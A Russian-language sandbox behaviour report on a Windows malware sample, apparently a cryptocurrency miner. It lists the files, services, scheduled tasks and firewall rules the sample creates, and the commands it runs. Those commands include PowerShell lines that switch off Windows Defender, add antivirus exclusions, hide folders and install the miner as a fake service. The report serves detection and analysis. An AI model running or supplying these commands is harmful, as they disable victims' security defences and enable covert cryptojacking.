Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\windows update
- <SYSTEM32>\tasks\windows local
- <SYSTEM32>\tasks\update services
- <SYSTEM32>\tasks\local services
- <SYSTEM32>\tasks\repair network services
Создает следующие сервисы
- [<HKLM>\System\CurrentControlSet\Services\Advanced Systemcare Security] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\Advanced Systemcare Security] 'ImagePath' = 'C:\Perform\nssm.exe'
- [<HKLM>\System\CurrentControlSet\Services\wuauserv] 'Start' = '00000002'
Вредоносные функции
Запускает на исполнение
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Application log" dir=in action=allow program="C:\Perform\svchost.exe" enable=yes
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Application task" dir=in action=allow program="C:\Perform\taskhost.exe" enable=yes
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Firebird Server" dir=in action=allow protocol=TCP localport=45700
Внедряет код в
следующие пользовательские процессы:
- hostserver.exe
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\cdf5.tmp\ce06.tmp\ce07.bat
- C:\sysinfo\x64\vcruntime140.dll
- C:\sysinfo\windows6.1-kb2999226-x64.msu
- C:\sysinfo\windows6.1-kb2999226-x86.msu
- C:\sysinfo\audio.vbs
- C:\sysinfo\regsvr32.vbs
- C:\sysinfo\regsvr64.vbs
- C:\sysinfo\script.vbs
- C:\sysinfo\setup.vbs
- C:\sysinfo\sound.vbs
- C:\sysinfo\start.vbs
- C:\sysinfo\wget.vbs
- C:\sysinfo\processo_22381339330189.pdf
- nul
- %TEMP%\core.exe
- C:\3ea515873edf1bf34c05b00adf4e12\$dpx$.tmp\3f287f8ae7e3f546a368843baf59d38e.tmp
- C:\3ea515873edf1bf34c05b00adf4e12\$dpx$.tmp\dafbbbab1467c34f8d361801b4bec46e.tmp
- C:\3ea515873edf1bf34c05b00adf4e12\$dpx$.tmp\1629d674908f4f4eb1e82f5e909ffd10.tmp
- C:\sysinfo\x64\opencl.dll
- C:\3ea515873edf1bf34c05b00adf4e12\$dpx$.tmp\277376df45253d43a7962b6c2b269ab0.tmp
- C:\sysinfo\x64\nvrtc64_92.dll
- C:\sysinfo\x64\msvcp140.dll
- %APPDATA%\processo_22381339330189.exe
- C:\sysinfo\config.bat
- C:\sysinfo\configx64.bat
- C:\sysinfo\decri.bat
- C:\sysinfo\encri.bat
- C:\sysinfo\setup.bat
- C:\sysinfo\start.bat
- C:\sysinfo\syslog.bat
- C:\sysinfo\7za.exe
- C:\sysinfo\hostserver.exe
- C:\sysinfo\x32\nssm.exe
- C:\sysinfo\x64\nssm.exe
- C:\sysinfo\ntrights.exe
- C:\sysinfo\x64\svchost.exe
- C:\sysinfo\x32\taskhost.exe
- C:\sysinfo\7za.dll
- C:\sysinfo\7zxa.dll
- C:\sysinfo\x64\nvrtc-builtins64_92.dll
- C:\sysinfo\svchost.zip
Удаляет следующие файлы
- C:\sysinfo\x32\nssm.exe
- C:\sysinfo\x32\taskhost.exe
- C:\3ea515873edf1bf34c05b00adf4e12\windows6.1-kb2999226-x64-pkgproperties.txt
- C:\3ea515873edf1bf34c05b00adf4e12\windows6.1-kb2999226-x64.cab
- C:\3ea515873edf1bf34c05b00adf4e12\windows6.1-kb2999226-x64.xml
- C:\3ea515873edf1bf34c05b00adf4e12\wsusscan.cab
- C:\sysinfo\sound.vbs
- C:\sysinfo\wget.vbs
- C:\sysinfo\configx64.bat
- C:\sysinfo\config.bat
- C:\sysinfo\audio.vbs
- C:\sysinfo\start.vbs
- %WINDIR%\softwaredistribution\download\7b6d74016eaebfd601d93340c4f35d8f\cbshandler\state
- %WINDIR%\softwaredistribution\download\7b6d74016eaebfd601d93340c4f35d8f\windows6.1-kb2999226-x64.cab
Перемещает следующие файлы
- C:\sysinfo\x64\msvcp140.dll в C:\perform\msvcp140.dll
- C:\sysinfo\x64\nssm.exe в C:\perform\nssm.exe
- C:\sysinfo\x64\nvrtc-builtins64_92.dll в C:\perform\nvrtc-builtins64_92.dll
- C:\sysinfo\x64\nvrtc64_92.dll в C:\perform\nvrtc64_92.dll
- C:\sysinfo\x64\opencl.dll в C:\perform\opencl.dll
- C:\sysinfo\x64\svchost.exe в C:\perform\svchost.exe
- C:\sysinfo\x64\vcruntime140.dll в C:\perform\vcruntime140.dll
- C:\sysinfo\syslog.bat в %WINDIR%\syslog.bat
- C:\3ea515873edf1bf34c05b00adf4e12\$dpx$.tmp\3f287f8ae7e3f546a368843baf59d38e.tmp в C:\3ea515873edf1bf34c05b00adf4e12\wsusscan.cab
- C:\3ea515873edf1bf34c05b00adf4e12\$dpx$.tmp\dafbbbab1467c34f8d361801b4bec46e.tmp в C:\3ea515873edf1bf34c05b00adf4e12\windows6.1-kb2999226-x64.cab
- C:\3ea515873edf1bf34c05b00adf4e12\$dpx$.tmp\1629d674908f4f4eb1e82f5e909ffd10.tmp в C:\3ea515873edf1bf34c05b00adf4e12\windows6.1-kb2999226-x64-pkgproperties.txt
- C:\3ea515873edf1bf34c05b00adf4e12\$dpx$.tmp\277376df45253d43a7962b6c2b269ab0.tmp в C:\3ea515873edf1bf34c05b00adf4e12\windows6.1-kb2999226-x64.xml
Другое
Ищет следующие окна
- ClassName: 'EDIT' WindowName: ''
Создает и запускает на исполнение
- 'C:\sysinfo\7za.exe' a -tzip -p%WINDIR% svchost sound.vbs wget.vbs configx64.bat config.bat audio.vbs -sdel
- '%APPDATA%\processo_22381339330189.exe' -p%WINDIR% -dC:\sysinfo
- '%WINDIR%\syswow64\wscript.exe' "C:\sysinfo\start.vbs"
- '%WINDIR%\syswow64\wscript.exe' "C:\sysinfo\setup.vbs"
- 'C:\perform\nssm.exe' set "Advanced Systemcare Security" start SERVICE_DELAYED_AUTO_START
- '%WINDIR%\syswow64\wscript.exe' "C:\sysinfo\start.vbs" /elevate
- 'C:\sysinfo\hostserver.exe'
- 'C:\perform\nssm.exe' install "Advanced Systemcare Security" "svchost.exe" "--user 200687.mail@gmail.com --xmr 1"
- '%TEMP%\core.exe' -woohoo 1304 C:\sysinfo\hostserver.exe
- 'C:\sysinfo\ntrights.exe' -u user +r SeLockMemoryPrivilege
- '%WINDIR%\syswow64\cmd.exe' /c ""C:\sysinfo\start.bat" "' (со скрытым окном)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-MpPreference -HighThreatDefaultAction 6 -Force' (со скрытым окном)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-MpPreference -LowThreatDefaultAction 6' (со скрытым окном)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-MpPreference -ModerateThreatDefaultAction 6' (со скрытым окном)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableScriptScanning $true' (со скрытым окном)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-MpPreference -SevereThreatDefaultAction 6' (со скрытым окном)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableRealtimeMonitoring $true' (со скрытым окном)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableIOAVProtection $true' (со скрытым окном)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableBlockAtFirstSeen $true' (со скрытым окном)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableBehaviorMonitoring $true' (со скрытым окном)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-MpPreference -MAPSReporting 0' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /k setup.bat' (со скрытым окном)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-MpPreference -SubmitSamplesConsent 2' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c "%TEMP%\CDF5.tmp\CE06.tmp\CE07.bat <Полный путь к файлу>"' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "%TEMP%\CDF5.tmp\CE06.tmp\CE07.bat <Полный путь к файлу>"
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted -Force;
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-ExecutionPolicy -Scope LocalMachine Unrestricted
- '%WINDIR%\syswow64\cmd.exe' /c wmic cpu get numberofcores|findstr "^[0-9]"
- '%WINDIR%\syswow64\wbem\wmic.exe' cpu get numberofcores
- '%WINDIR%\syswow64\findstr.exe' "^[0-9]"
- '%WINDIR%\syswow64\sc.exe' stop "Systemcare Security"
- '%WINDIR%\syswow64\sc.exe' delete "Systemcare Security"
- '%WINDIR%\syswow64\schtasks.exe' /Create /tn "windows update" /SC ONSTART /tr "C:\sysinfo\regsvr64.vbs" /NP /RU system /f /RL HIGHEST
- '%WINDIR%\syswow64\schtasks.exe' /Create /tn "windows local" /SC ONSTART /tr "C:\sysinfo\regsvr64.vbs" /f
- '%WINDIR%\syswow64\schtasks.exe' /Create /tn "update services" /SC ONSTART /tr "C:\sysinfo\script.vbs" /NP /RU system /f /RL HIGHEST
- '%WINDIR%\syswow64\schtasks.exe' /Create /tn "local services" /SC ONSTART /tr "C:\sysinfo\script.vbs" /f
- '%WINDIR%\syswow64\wusa.exe' C:\sysinfo\Windows6.1-KB2999226-x64.msu /quiet /norestart
- '%WINDIR%\syswow64\schtasks.exe' /create /tn "repair network services" /sc ONSTART /delay 0001:30 /RL HIGHEST /RU system /tr "%WINDIR%\syslog.bat" /NP /f
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath "C:\sysinfo,C:\Perform"
- '%WINDIR%\syswow64\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update" /v AUOptions /t REG_DWORD /d 0 /f
- '%WINDIR%\syswow64\sc.exe' config wuauserv start= auto
- '%WINDIR%\syswow64\net.exe' start wuauserv
- '%WINDIR%\syswow64\net1.exe' start wuauserv
- '%WINDIR%\syswow64\attrib.exe' +h C:\sysinfo
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-ExecutionPolicy -Scope Process -ExecutionPolicy Unrestricted
- '%WINDIR%\syswow64\attrib.exe' +h C:\Perform
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-ExecutionPolicy Unrestricted -Force;
- '%WINDIR%\syswow64\sc.exe' stop "Windows servicer"
- '%WINDIR%\syswow64\cmd.exe' /k setup.bat
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableRealtimeMonitoring $true
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableBehaviorMonitoring $true
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableBlockAtFirstSeen $true
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableIOAVProtection $true
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableScriptScanning $true
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-MpPreference -SubmitSamplesConsent 2
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-MpPreference -MAPSReporting 0
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-MpPreference -HighThreatDefaultAction 6 -Force
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-MpPreference -ModerateThreatDefaultAction 6
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-MpPreference -LowThreatDefaultAction 6
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-MpPreference -SevereThreatDefaultAction 6
- '%WINDIR%\syswow64\cmd.exe' /c ""C:\sysinfo\start.bat" "
- '%WINDIR%\syswow64\net.exe' FILE
- '%WINDIR%\syswow64\net1.exe' FILE
- '%WINDIR%\syswow64\sc.exe' stop "Advanced Systemcare Update"
- '%WINDIR%\syswow64\sc.exe' delete "Advanced Systemcare Update"
- '%WINDIR%\syswow64\sc.exe' stop "Advanced Systemcare Security"
- '%WINDIR%\syswow64\sc.exe' delete "Advanced Systemcare Security"
- '%WINDIR%\syswow64\sc.exe' delete "Windows servicer"
- '%WINDIR%\syswow64\cmd.exe' /c del "C:\sysinfo\start.bat"
